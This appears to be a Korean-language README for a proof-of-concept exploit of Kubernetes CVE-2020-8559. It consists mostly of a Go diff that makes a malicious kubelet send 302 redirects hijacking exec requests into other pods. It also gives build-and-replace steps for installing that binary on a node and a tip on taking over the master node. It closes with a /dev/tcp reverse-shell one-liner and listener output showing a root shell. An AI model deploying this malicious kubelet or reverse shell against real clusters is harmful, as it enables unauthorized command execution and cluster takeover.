
이것은 CVE-2020-8559 Kubernetes 취약점에 대한 PoC 익스플로잇입니다.
이것은 데모 목적으로만 사용됩니다. 관리 작업을 수행할 권한이 있고 CVE-2020-8559을 악용할 권한이 있는 시스템에서만 사용하십시오.
이것은 CVE-2020-8559에 대한 PoC입니다. 이 취약점은 공격자가 노드에서 root를 획득한 경우 클러스터의 다른 컨테이너에서 명령을 실행할 수 있게 하여 Kubernetes 마스터 노드를 장악할 수 있게 합니다.
이 취약점은 Kubernetes API 서버와 kubectl 명령이 HTTP 리디렉션을 따르는 특성과 Kubernetes API가 API 요청의 모든 구성 요소(노드 이름, 파드 이름, 컨테이너 이름, 심지어 명령)를 URL에 그대로 넣는 특성이 결합되어 발생합니다. 따라서 Kubelet 프로세스가 /exec, /attach, /portforward 또는 resource: proxy 작업에 대해 다른 노드의 다른 컨테이너에서 다른 명령을 실행하라고 지정하는 Location 헤더와 함께 HTTP 302 리디렉션으로 응답하면 Kubernetes API 서버 또는 kubectl 명령은 Location 헤더의 내용에 따라 새 요청을 기꺼이 수행합니다.
Kubernetes의 포크된 버전을 다운로드하고 내 브랜치로 전환하여 익스플로잇 kubelet 바이너리를 빌드할 수 있습니다.
이 브랜치는 v1.15.9 태그를 기반으로 합니다.
git clone -b CVE-2020-8559 --single-branch [email protected]:tdwyer/kubernetes.git
diff --git a/pkg/kubelet/server/server.go b/pkg/kubelet/server/server.go
index c1f1975fe43..8459802755e 100644
--- a/pkg/kubelet/server/server.go
+++ b/pkg/kubelet/server/server.go
@@ -867,6 +867,28 @@ func (s *Server) ServeHTTP(w http.ResponseWriter, req *http.Request) {
method, path := req.Method, trimURLPath(req.URL.Path)
+ ////
+ ////
+ // If path is vulnerable to CVE-2020-8559 send 302 redirect with malicious Location header
+ ////
+ ////
+ protocol := "https"
+ // If attacking requests from admins using the kubectl command
+ // host == hostname of the Kubernetes API server obtained from `kubectl -v 8 get pods`
+ // If attacing the Kubernetes API Server
+ // host == hostname of the Node the Victim container is running on
+ host := "internal-api-123456-123456789.us-west-2.elb.amazonaws.com"
+ namespace := "kube-system"
+ pod := "kcd-7cfbb97c64-p4kf2"
+ container := "kcd"
+ command := "hostname"
+ if strings.Contains(req.URL.Path, "/exec") || strings.Contains(req.URL.Path, "/attach") || strings.Contains(req.URL.Path, "/portforward") {
+ fmt.Println("--------------------------------------------------------------")
+ fmt.Println("Sending Redirect")
+ fmt.Println("--------------------------------------------------------------")
+ http.Redirect(w, req, protocol+"://"+host+"/api/v1/namespaces/"+namespace+"/pods/"+pod+"/exec?command="+command+"&container="+container+"&stderr=true&stdout=true", 302)
+ }
+
longRunning := strconv.FormatBool(isLongRunningRequest(path))
servermetrics.HTTPRequests.WithLabelValues(method, path, serverType, longRunning).Inc()
이 PoC는 하드코딩된 Location 헤더와 함께 302 HTTP 리디렉션을 전송하므로 kubernetes/pkg/kubelet/server/server.go를 편집하고 host, namespace, pod, container, command를 업데이트해야 합니다.
프로 팁: 클러스터의 모든 파드를 나열합니다. 그런 다음 Kubernetes 마스터 노드에서 실행 중인 파드에 대해 명령을 실행하도록 구성하여 클러스터를 장악하기 위해 역방향 셸을 시작합니다.
공격을 구성한 후 악성 kubelet 바이너리를 빌드합니다.
cd ~/go/src/k8s.io/kubernetes
GO111MODULE=on go mod download
cd ~/go/src/k8s.io/kubernetes/cmd/kubelet
go build
kubelet 바이너리를 노드에 복사kubelet 프로세스를 중지하고 악성 바이너리로 바이너리를 덮어씁니다.kubelet 프로세스의 PID를 찾습니다.ps aux |grep kubeletkubelet 프로세스를 종료하고 악성 바이너리를 해당 위치에 복사합니다.sudo kill $PID ; sudo cp kubelet /usr/local/bin/kubeletkubelet 프로세스를 다시 종료하여 악성 바이너리로 다시 시작되도록 합니다.kubelet 프로세스의 PID를 찾습니다.ps aux |grep kubeletkubelet 프로세스를 종료합니다.sudo kill $PIDkubectl 명령을 사용하는 관리자를 공격하도록 구성된 경우, 이 명령은 실행되어야 했던 컨테이너 대신 피해자 컨테이너의 호스트네임을 반환해야 합니다.[0038][tdwyer@tdwyer-nuc:~/CVE-2020-8559]$ kubectl exec attacker-5cf89b94db-xdbfm -- date
kcd-7cfbb97c64-p4kf2
또한 모든 컨테이너에서 역방향 셸을 시작할 수 있습니다.
nc -lv 4444/bin/sh -i >& /dev/tcp/1.2.3.4/4444 0>&1성공 :D
[1617][tdwyer@tdwyer-nuc:~]$ nc -lvk 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 9.8.7.6.in-addr.arpa 46828 received!
bash-5.0#